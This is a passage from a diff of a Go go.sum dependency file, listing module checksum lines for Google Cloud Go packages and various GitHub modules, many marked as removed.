v1.15.0/go.mod h1:y6oH7GhqCaZANH7+Oe0BhgIogsNInLlz542tg3VqeYI= -cloud.google.com/go/speech v1.17.1/go.mod h1:8rVNzU43tQvxDaGvqOhpDqgkJTFowBpDvCJ14kGlJYo= -cloud.google.com/go/speech v1.19.0/go.mod h1:8rVNzU43tQvxDaGvqOhpDqgkJTFowBpDvCJ14kGlJYo= cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= -cloud.google.com/go/storage v1.22.1/go.mod h1:S8N1cAStu7BOeFfE8KAQzmyyLkK8p/vmRq6kuBTW58Y= -cloud.google.com/go/storage v1.23.0/go.mod h1:vOEEDNFnciUMhBeT6hsJIn3ieU5cFRmzeLgDvXzfIXc= -cloud.google.com/go/storage v1.27.0/go.mod h1:x9DOL8TK/ygDUMieqwfhdpQryTeEkhGKMi80i/iqR2s= -cloud.google.com/go/storage v1.28.1/go.mod h1:Qnisd4CqDdo6BGs2AD5LLnEsmSQ80wQ5ogcBBKhU86Y= -cloud.google.com/go/storage v1.29.0/go.mod h1:4puEjyTKnku6gfKoTfNOU/W+a9JyuVNxjpS5GBrB8h4= -cloud.google.com/go/storage v1.30.1/go.mod h1:NfxhC0UJE1aXSx7CIIbCf7y9HKT7BiccwkR7+P7gN8E= -cloud.google.com/go/storagetransfer v1.5.0/go.mod h1:dxNzUopWy7RQevYFHewchb29POFv3/AaBgnhqzqiK0w= -cloud.google.com/go/storagetransfer v1.6.0/go.mod h1:y77xm4CQV/ZhFZH75PLEXY0ROiS7Gh6pSKrM8dJyg6I= -cloud.google.com/go/storagetransfer v1.7.0/go.mod h1:8Giuj1QNb1kfLAiWM1bN6dHzfdlDAVC9rv9abHot2W4= -cloud.google.com/go/storagetransfer v1.8.0/go.mod h1:JpegsHHU1eXg7lMHkvf+KE5XDJ7EQu0GwNJbbVGanEw= -cloud.google.com/go/storagetransfer v1.10.0/go.mod h1:DM4sTlSmGiNczmV6iZyceIh2dbs+7z2Ayg6YAiQlYfA= -cloud.google.com/go/talent v1.1.0/go.mod h1:Vl4pt9jiHKvOgF9KoZo6Kob9oV4lwd/ZD5Cto54zDRw= -cloud.google.com/go/talent v1.2.0/go.mod h1:MoNF9bhFQbiJ6eFD3uSsg0uBALw4n4gaCaEjBw9zo8g= -cloud.google.com/go/talent v1.3.0/go.mod h1:CmcxwJ/PKfRgd1pBjQgU6W3YBwiewmUzQYH5HHmSCmM= -cloud.google.com/go/talent v1.4.0/go.mod h1:ezFtAgVuRf8jRsvyE6EwmbTK5LKciD4KVnHuDEFmOOA= -cloud.google.com/go/talent v1.5.0/go.mod h1:G+ODMj9bsasAEJkQSzO2uHQWXHHXUomArjWQQYkqK6c= -cloud.google.com/go/talent v1.6.2/go.mod h1:CbGvmKCG61mkdjcqTcLOkb2ZN1SrQI8MDyma2l7VD24= -cloud.google.com/go/texttospeech v1.4.0/go.mod h1:FX8HQHA6sEpJ7rCMSfXuzBcysDAuWusNNNvN9FELDd8= -cloud.google.com/go/texttospeech v1.5.0/go.mod h1:oKPLhR4n4ZdQqWKURdwxMy0uiTS1xU161C8W57Wkea4= -cloud.google.com/go/texttospeech v1.6.0/go.mod h1:YmwmFT8pj1aBblQOI3TfKmwibnsfvhIBzPXcW4EBovc= -cloud.google.com/go/texttospeech v1.7.1/go.mod h1:m7QfG5IXxeneGqTapXNxv2ItxP/FS0hCZBwXYqucgSk= -cloud.google.com/go/tpu v1.3.0/go.mod h1:aJIManG0o20tfDQlRIej44FcwGGl/cD0oiRyMKG19IQ= -cloud.google.com/go/tpu v1.4.0/go.mod h1:mjZaX8p0VBgllCzF6wcU2ovUXN9TONFLd7iz227X2Xg= -cloud.google.com/go/tpu v1.5.0/go.mod h1:8zVo1rYDFuW2l4yZVY0R0fb/v44xLh3llq7RuV61fPM= -cloud.google.com/go/tpu v1.6.1/go.mod h1:sOdcHVIgDEEOKuqUoi6Fq53MKHJAtOwtz0GuKsWSH3E= -cloud.google.com/go/trace v1.3.0/go.mod h1:FFUE83d9Ca57C+K8rDl/Ih8LwOzWIV1krKgxg6N0G28= -cloud.google.com/go/trace v1.4.0/go.mod h1:UG0v8UBqzusp+z63o7FK74SdFE+AXpCLdFb1rshXG+Y= -cloud.google.com/go/trace v1.8.0/go.mod h1:zH7vcsbAhklH8hWFig58HvxcxyQbaIqMarMg9hn5ECA= -cloud.google.com/go/trace v1.9.0/go.mod h1:lOQqpE5IaWY0Ixg7/r2SjixMuc6lfTFeO4QGM4dQWOk= -cloud.google.com/go/trace v1.10.1/go.mod h1:gbtL94KE5AJLH3y+WVpfWILmqgc6dXcqgNXdOPAQTYk= -cloud.google.com/go/translate v1.3.0/go.mod h1:gzMUwRjvOqj5i69y/LYLd8RrNQk+hOmIXTi9+nb3Djs= -cloud.google.com/go/translate v1.4.0/go.mod h1:06Dn/ppvLD6WvA5Rhdp029IX2Mi3Mn7fpMRLPvXT5Wg= -cloud.google.com/go/translate v1.5.0/go.mod h1:29YDSYveqqpA1CQFD7NQuP49xymq17RXNaUDdc0mNu0= -cloud.google.com/go/translate v1.6.0/go.mod h1:lMGRudH1pu7I3n3PETiOB2507gf3HnfLV8qlkHZEyos= -cloud.google.com/go/translate v1.7.0/go.mod h1:lMGRudH1pu7I3n3PETiOB2507gf3HnfLV8qlkHZEyos= -cloud.google.com/go/translate v1.8.1/go.mod h1:d1ZH5aaOA0CNhWeXeC8ujd4tdCFw8XoNWRljklu5RHs= -cloud.google.com/go/translate v1.8.2/go.mod h1:d1ZH5aaOA0CNhWeXeC8ujd4tdCFw8XoNWRljklu5RHs= -cloud.google.com/go/video v1.8.0/go.mod h1:sTzKFc0bUSByE8Yoh8X0mn8bMymItVGPfTuUBUyRgxk= -cloud.google.com/go/video v1.9.0/go.mod h1:0RhNKFRF5v92f8dQt0yhaHrEuH95m068JYOvLZYnJSw= -cloud.google.com/go/video v1.12.0/go.mod h1:MLQew95eTuaNDEGriQdcYn0dTwf9oWiA4uYebxM5kdg= -cloud.google.com/go/video v1.13.0/go.mod h1:ulzkYlYgCp15N2AokzKjy7MQ9ejuynOJdf1tR5lGthk= -cloud.google.com/go/video v1.14.0/go.mod h1:SkgaXwT+lIIAKqWAJfktHT/RbgjSuY6DobxEp0C5yTQ= -cloud.google.com/go/video v1.15.0/go.mod h1:SkgaXwT+lIIAKqWAJfktHT/RbgjSuY6DobxEp0C5yTQ= -cloud.google.com/go/video v1.17.1/go.mod h1:9qmqPqw/Ib2tLqaeHgtakU+l5TcJxCJbhFXM7UJjVzU= -cloud.google.com/go/video v1.19.0/go.mod h1:9qmqPqw/Ib2tLqaeHgtakU+l5TcJxCJbhFXM7UJjVzU= -cloud.google.com/go/videointelligence v1.6.0/go.mod h1:w0DIDlVRKtwPCn/C4iwZIJdvC69yInhW0cfi+p546uU= -cloud.google.com/go/videointelligence v1.7.0/go.mod h1:k8pI/1wAhjznARtVT9U1llUaFNPh7muw8QyOUpavru4= -cloud.google.com/go/videointelligence v1.8.0/go.mod h1:dIcCn4gVDdS7yte/w+koiXn5dWVplOZkE+xwG9FgK+M= -cloud.google.com/go/videointelligence v1.9.0/go.mod h1:29lVRMPDYHikk3v8EdPSaL8Ku+eMzDljjuvRs105XoU= -cloud.google.com/go/videointelligence v1.10.0/go.mod h1:LHZngX1liVtUhZvi2uNS0VQuOzNi2TkY1OakiuoUOjU= -cloud.google.com/go/videointelligence v1.11.1/go.mod h1:76xn/8InyQHarjTWsBR058SmlPCwQjgcvoW0aZykOvo= -cloud.google.com/go/vision v1.2.0/go.mod h1:SmNwgObm5DpFBme2xpyOyasvBc1aPdjvMk2bBk0tKD0= -cloud.google.com/go/vision/v2 v2.2.0/go.mod h1:uCdV4PpN1S0jyCyq8sIM42v2Y6zOLkZs+4R9LrGYwFo= -cloud.google.com/go/vision/v2 v2.3.0/go.mod h1:UO61abBx9QRMFkNBbf1D8B1LXdS2cGiiCRx0vSpZoUo= -cloud.google.com/go/vision/v2 v2.4.0/go.mod h1:VtI579ll9RpVTrdKdkMzckdnwMyX2JILb+MhPqRbPsY= -cloud.google.com/go/vision/v2 v2.5.0/go.mod h1:MmaezXOOE+IWa+cS7OhRRLK2cNv1ZL98zhqFFZaaH2E= -cloud.google.com/go/vision/v2 v2.6.0/go.mod h1:158Hes0MvOS9Z/bDMSFpjwsUrZ5fPrdwuyyvKSGAGMY= -cloud.google.com/go/vision/v2 v2.7.0/go.mod h1:H89VysHy21avemp6xcf9b9JvZHVehWbET0uT/bcuY/0= -cloud.google.com/go/vision/v2 v2.7.2/go.mod h1:jKa8oSYBWhYiXarHPvP4USxYANYUEdEsQrloLjrSwJU= -cloud.google.com/go/vmmigration v1.2.0/go.mod h1:IRf0o7myyWFSmVR1ItrBSFLFD/rJkfDCUTO4vLlJvsE= -cloud.google.com/go/vmmigration v1.3.0/go.mod h1:oGJ6ZgGPQOFdjHuocGcLqX4lc98YQ7Ygq8YQwHh9A7g= -cloud.google.com/go/vmmigration v1.5.0/go.mod h1:E4YQ8q7/4W9gobHjQg4JJSgXXSgY21nA5r8swQV+Xxc= -cloud.google.com/go/vmmigration v1.6.0/go.mod h1:bopQ/g4z+8qXzichC7GW1w2MjbErL54rk3/C843CjfY= -cloud.google.com/go/vmmigration v1.7.1/go.mod h1:WD+5z7a/IpZ5bKK//YmT9E047AD+rjycCAvyMxGJbro= -cloud.google.com/go/vmwareengine v0.1.0/go.mod h1:RsdNEf/8UDvKllXhMz5J40XxDrNJNN4sagiox+OI208= -cloud.google.com/go/vmwareengine v0.2.2/go.mod h1:sKdctNJxb3KLZkE/6Oui94iw/xs9PRNC2wnNLXsHvH8= -cloud.google.com/go/vmwareengine v0.3.0/go.mod h1:wvoyMvNWdIzxMYSpH/R7y2h5h3WFkx6d+1TIsP39WGY= -cloud.google.com/go/vmwareengine v0.4.1/go.mod h1:Px64x+BvjPZwWuc4HdmVhoygcXqEkGHXoa7uyfTgSI0= -cloud.google.com/go/vmwareengine v1.0.0/go.mod h1:Px64x+BvjPZwWuc4HdmVhoygcXqEkGHXoa7uyfTgSI0= -cloud.google.com/go/vpcaccess v1.4.0/go.mod h1:aQHVbTWDYUR1EbTApSVvMq1EnT57ppDmQzZ3imqIk4w= -cloud.google.com/go/vpcaccess v1.5.0/go.mod h1:drmg4HLk9NkZpGfCmZ3Tz0Bwnm2+DKqViEpeEpOq0m8= -cloud.google.com/go/vpcaccess v1.6.0/go.mod h1:wX2ILaNhe7TlVa4vC5xce1bCnqE3AeH27RV31lnmZes= -cloud.google.com/go/vpcaccess v1.7.1/go.mod h1:FogoD46/ZU+JUBX9D606X21EnxiszYi2tArQwLY4SXs= -cloud.google.com/go/webrisk v1.4.0/go.mod h1:Hn8X6Zr+ziE2aNd8SliSDWpEnSS1u4R9+xXZmFiHmGE= -cloud.google.com/go/webrisk v1.5.0/go.mod h1:iPG6fr52Tv7sGk0H6qUFzmL3HHZev1htXuWDEEsqMTg= -cloud.google.com/go/webrisk v1.6.0/go.mod h1:65sW9V9rOosnc9ZY7A7jsy1zoHS5W9IAXv6dGqhMQMc= -cloud.google.com/go/webrisk v1.7.0/go.mod h1:mVMHgEYH0r337nmt1JyLthzMr6YxwN1aAIEc2fTcq7A= -cloud.google.com/go/webrisk v1.8.0/go.mod h1:oJPDuamzHXgUc+b8SiHRcVInZQuybnvEW72PqTc7sSg= -cloud.google.com/go/webrisk v1.9.1/go.mod h1:4GCmXKcOa2BZcZPn6DCEvE7HypmEJcJkr4mtM+sqYPc= -cloud.google.com/go/websecurityscanner v1.3.0/go.mod h1:uImdKm2wyeXQevQJXeh8Uun/Ym1VqworNDlBXQevGMo= -cloud.google.com/go/websecurityscanner v1.4.0/go.mod h1:ebit/Fp0a+FWu5j4JOmJEV8S8CzdTkAS77oDsiSqYWQ= -cloud.google.com/go/websecurityscanner v1.5.0/go.mod h1:Y6xdCPy81yi0SQnDY1xdNTNpfY1oAgXUlcfN3B3eSng= -cloud.google.com/go/websecurityscanner v1.6.1/go.mod h1:Njgaw3rttgRHXzwCB8kgCYqv5/rGpFCsBOvPbYgszpg= -cloud.google.com/go/workflows v1.6.0/go.mod h1:6t9F5h/unJz41YqfBmqSASJSXccBLtD1Vwf+KmJENM0= -cloud.google.com/go/workflows v1.7.0/go.mod h1:JhSrZuVZWuiDfKEFxU0/F1PQjmpnpcoISEXH2bcHC3M= -cloud.google.com/go/workflows v1.8.0/go.mod h1:ysGhmEajwZxGn1OhGOGKsTXc5PyxOc0vfKf5Af+to4M= -cloud.google.com/go/workflows v1.9.0/go.mod h1:ZGkj1aFIOd9c8Gerkjjq7OW7I5+l6cSvT3ujaO/WwSA= -cloud.google.com/go/workflows v1.10.0/go.mod h1:fZ8LmRmZQWacon9UCX1r/g/DfAXx5VcPALq2CxzdePw= -cloud.google.com/go/workflows v1.11.1/go.mod h1:Z+t10G1wF7h8LgdY/EmRcQY8ptBD/nvofaL6FqlET6g= dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= -gioui.org v0.0.0-20210308172011-57750fc8a0a6/go.mod h1:RSH6KIUZ0p2xy5zHDxgAM4zumjgTw83q2ge/PI+yyw8= -git.sr.ht/~sbinet/gg v0.3.1/go.mod h1:KGYtlADtqsqANL9ueOFkWymvzUvLMQllU5Ixo+8v3pc= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= -github.com/BurntSushi/toml v1.3.2/go.mod h1:CxXYINrC8qIiEnFrOxCa7Jy5BFHlXnUU2pbicEuybxQ= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= -github.com/CloudyKit/fastprinter v0.0.0-20200109182630-33d98a066a53/go.mod h1:+3IMCy2vIlbG1XG/0ggNQv0SvxCAIpPM5b1nCz56Xno= -github.com/CloudyKit/jet/v6 v6.2.0/go.mod h1:d3ypHeIRNo2+XyqnGA8s+aphtcVpjP5hPwP/Lzo7Ro4= -github.com/DataDog/datadog-go v3.2.0+incompatible/go.mod h1:LButxg5PwREeZtORoXG3tL4fMGNddJ+vMq1mwgfaqoQ= -github.com/JohnCGriffin/overflow v0.0.0-20211019200055-46fa312c352c/go.mod h1:X0CRv0ky0k6m906ixxpzmDRLvX58TFUKS2eePweuyxk= -github.com/Joker/hpp v1.0.0/go.mod h1:8x5n+M1Hp5hC0g8okX3sR3vFQwynaX/UgSOM9MeBKzY= -github.com/Joker/jade v1.1.3/go.mod h1:T+2WLyt7VH6Lp0TRxQrUYEs64nRc83wkMQrfeIQKduM= github.com/Masterminds/goutils v1.1.1 h1:5nUrii3FMTL5diU80unEVvNevw1nH4+ZV4DSLVJLSYI= github.com/Masterminds/goutils v1.1.1/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU= github.com/Masterminds/semver v1.4.2/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y= @@ -771,7 +45,6 @@ github.com/Masterminds/sprig v2.22.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuN github.com/OneOfOne/xxhash v1.2.2 h1:KMrpdQIwFcEqXDklaen+P1axHaj9BSKzvpUUfnHldSE= github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= github.com/RaveNoX/go-jsoncommentstrip v1.0.0/go.mod h1:78ihd09MekBnJnxpICcwzCMzGrKSKYe4AqU6PDYYpjk= -github.com/Shopify/goreferrer v0.0.0-20220729165902-8cddb4f5de06/go.mod h1:7erjKLwalezA0k99cWs5L11HWOAPNjdUZ6RxH1BXbbM= github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da h1:KjTM2ks9d14ZYCvmHS9iAKVt9AyzRSqNU1qabPih5BY= github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da/go.mod h1:eHEWzANqSiWQsof+nXEI9bUVUyV6F53Fp89EuCh2EAA= github.com/aead/chacha20poly1305 v0.0.0-20170617001512-233f39982aeb/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU= @@ -779,217 +52,99 @@ github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 h1:1DcvRPZOd github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU= github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 h1:52m0LGchQBBVqJRyYYufQuIbVqRawmubW3OFGqK1ekw= github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635/go.mod h1:lmLxL+FV291OopO93Bwf9fQLQeLyt33VJRUg5VJ30us= -github.com/ajg/form v1.5.1/go.mod h1:uL1WgH+h2mgNtvBq0339dVnzXdBETtL2LeUXaIv25UY= -github.com/ajstarks/deck v0.0.0-20200831202436-30c9fc6549a9/go.mod h1:JynElWSGnm/4RlzPXRlREEwqTHAN3T56Bv2ITsFT3gY= -github.com/ajstarks/deck/generate v0.0.0-20210309230005-c3f852c02e19/go.mod h1:T13YZdzov6OU0A1+RfKZiZN9ca6VeKdBdyDV+BY97Tk= -github.com/ajstarks/svgo v0.0.0-20180226025133-644b8db467af/go.mod h1:K08gAheRH3/J6wwsYMMT4xOr94bZjxIelGM0+d/wbFw= -github.com/ajstarks/svgo v0.0.0-20211024235047-1546f124cd8b/go.mod h1:1KcenG0jGWcpt8ov532z81sp/kMMUG485J2InIOyADM= github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho= -github.com/andybalholm/brotli v1.0.4/go.mod h1:fO7iG3H7G2nSZ7m0zPUDn85XEX2GTukHGRSepvi9Eig= -github.com/andybalholm/brotli v1.0.5/go.mod h1:fO7iG3H7G2nSZ7m0zPUDn85XEX2GTukHGRSepvi9Eig= github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY= github.com/aokoli/goutils v1.0.1/go.mod h1:SijmP0QR8LtwsmDs8Yii5Z/S4trXFGFC2oO5g9DP+DQ= -github.com/apache/arrow/go/v10 v10.0.1/go.mod h1:YvhnlEePVnBS4+0z3fhPfUy7W1Ikj0Ih0vcRo/gZ1M0= -github.com/apache/arrow/go/v11 v11.0.0/go.mod h1:Eg5OsL5H+e299f7u5ssuXsuHQVEGC4xei5aX110hRiI= -github.com/apache/arrow/go/v12 v12.0.0/go.mod h1:d+tV/eHZZ7Dz7RPrFKtPK02tpr+c9/PEd/zm8mDS9Vg= -github.com/apache/thrift v0.16.0/go.mod h1:PHK3hniurgQaNMZYaCLEqXKsYK8upmhPbmdP2FXSqgU= github.com/apapsch/go-jsonmerge/v2 v2.0.0 h1:axGnT1gRIfimI7gJifB699GoE/oq+F2MU7Dml6nw9rQ= github.com/apapsch/go-jsonmerge/v2 v2.0.0/go.mod h1:lvDnEdqiQrp0O42VQGgmlKpxL1AP2+08jFMw88y4klk= -github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o= github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8= -github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY= -github.com/armon/go-metrics v0.4.0/go.mod h1:E6amYzXo6aW1tqzoZGT755KkbgrJsSdpwZ+3JqfkOG4= -github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= -github.com/armon/go-radix v1.0.0/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= -github.com/aymerick/douceur v0.2.0/go.mod h1:wlT5vV2O3h55X9m7iVYN0TBM0NH/MmbLnd30/FjWUq4= -github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA= github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= -github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= -github.com/blang/semver/v4 v4.0.0/go.mod h1:IbckMUScFkM3pff0VJDNKRiT6TG/YpiHIM2yvyW5YoQ= github.com/bmatcuk/doublestar v1.1.1/go.mod h1:UD6OnuiIn0yFxxA2le/rnRU1G4RaI4UvFv1sNto9p6w= -github.com/boombuler/barcode v1.0.0/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8= -github.com/boombuler/barcode v1.0.1/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8= -github.com/bsm/ginkgo/v2 v2.9.5/go.mod h1:SwYbGRRDovPVboqFv0tPTcG1sN61LM1Z4ARdbAV9g4c= -github.com/bsm/gomega v1.26.0/go.mod h1:JyEr/xRbxbtgWNi8tIEVPUYZ5Dzef52k01W3YH0H+O0= -github.com/bytedance/sonic v1.5.0/go.mod h1:ED5hyg4y6t3/9Ku1R6dU/4KyJ48DZ4jPhfY1O2AihPM= -github.com/bytedance/sonic v1.9.1/go.mod h1:i736AoUSYt75HyZLoJW9ERYxcy6eaN6h4BZXU064P/U= -github.com/bytedance/sonic v1.10.0-rc/go.mod h1:ElCzW+ufi8qKqNW0FY314xriJhyJhuoJ3gFZdAHF7NM= -github.com/bytedance/sonic v1.10.0-rc3/go.mod h1:iZcSUejdk5aukTND/Eu/ivjQuEL0Cu9/rf50Hi0u/g4= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= -github.com/census-instrumentation/opencensus-proto v0.3.0/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= -github.com/census-instrumentation/opencensus-proto v0.4.1/go.mod h1:4T9NM4+4Vw91VeyqjLS6ao50K5bOcLKN6Q42XnYaRYw= github.com/cespare/xxhash v1.1.0 h1:a6HrQnmkObjyL+Gs60czilIUGqrzKutQD6XZog3p+ko= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/cespare/xxhash/v2 v2.2.0 h1:DC2CZ1Ep5Y4k3ZQ899DldepgrayRUGE6BBZ/cd9Cj44= github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= -github.com/cheekybits/is v0.0.0-20150225183255-68e9c0620927/go.mod h1:h/aW8ynjgkuj+NQRlZcDbAbM1ORAbXjXX77sX7T289U= -github.com/chenzhuoyu/base64x v0.0.0-20211019084208-fb5309c8db06/go.mod h1:DH46F32mSOjUmXrMHnKwZdA8wcEefY7UVqBKYGjpdQY= -github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311/go.mod h1:b583jCggY9gE99b6G5LEC39OIiVsWj+R97kbl5odCEk= -github.com/chenzhuoyu/base64x v0.0.0-20230717121745-296ad89f973d/go.mod h1:8EPpVsBuRksnlj1mLy4AWzRNQYxauNi62uWcE3to6eA= -github.com/chenzhuoyu/iasm v0.9.0/go.mod h1:Xjy2NpN3h7aUqeqM+woSuuvxmIe6+DDsiNLIrkAmYog= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= -github.com/circonus-labs/circonus-gometrics v2.3.1+incompatible/go.mod h1:nmEj6Dob7S7YxXgwXpfOuvO54S+tGdZdw9fuRZt25Ag= -github.com/circonus-labs/circonusllhist v0.1.3/go.mod h1:kMXHVDlOchFAehlya5ePtbp5jckzBHf4XRpQvBOLI+I= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= -github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= -github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= -github.com/cncf/udpa/go v0.0.0-20210930031921-04548b0d99d4/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI= -github.com/cncf/udpa/go v0.0.0-20220112060539-c52dc94e7fbe/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI= -github.com/cncf/xds/go v0.0.0-20210312221358-fbca930ec8ed/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20210805033703-aa0b78936158/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20211001041855-01bcc9b48dfe/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20220314180256-7f1daf1720fc/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20230105202645-06c439db220b/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20230310173818-32f1caf87195/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20230607035331-e9ce68804cb4/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cockroachdb/apd v1.1.0 h1:3LFP3629v+1aKXU5Q37mxmRxX/pIu1nijXydLShEq5I= github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ= github.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4 h1:5mhTmqO2f6QXPlIAGCEtCYR2MHNDLVkwaGWiSbffeQU= github.com/codenotary/daemon 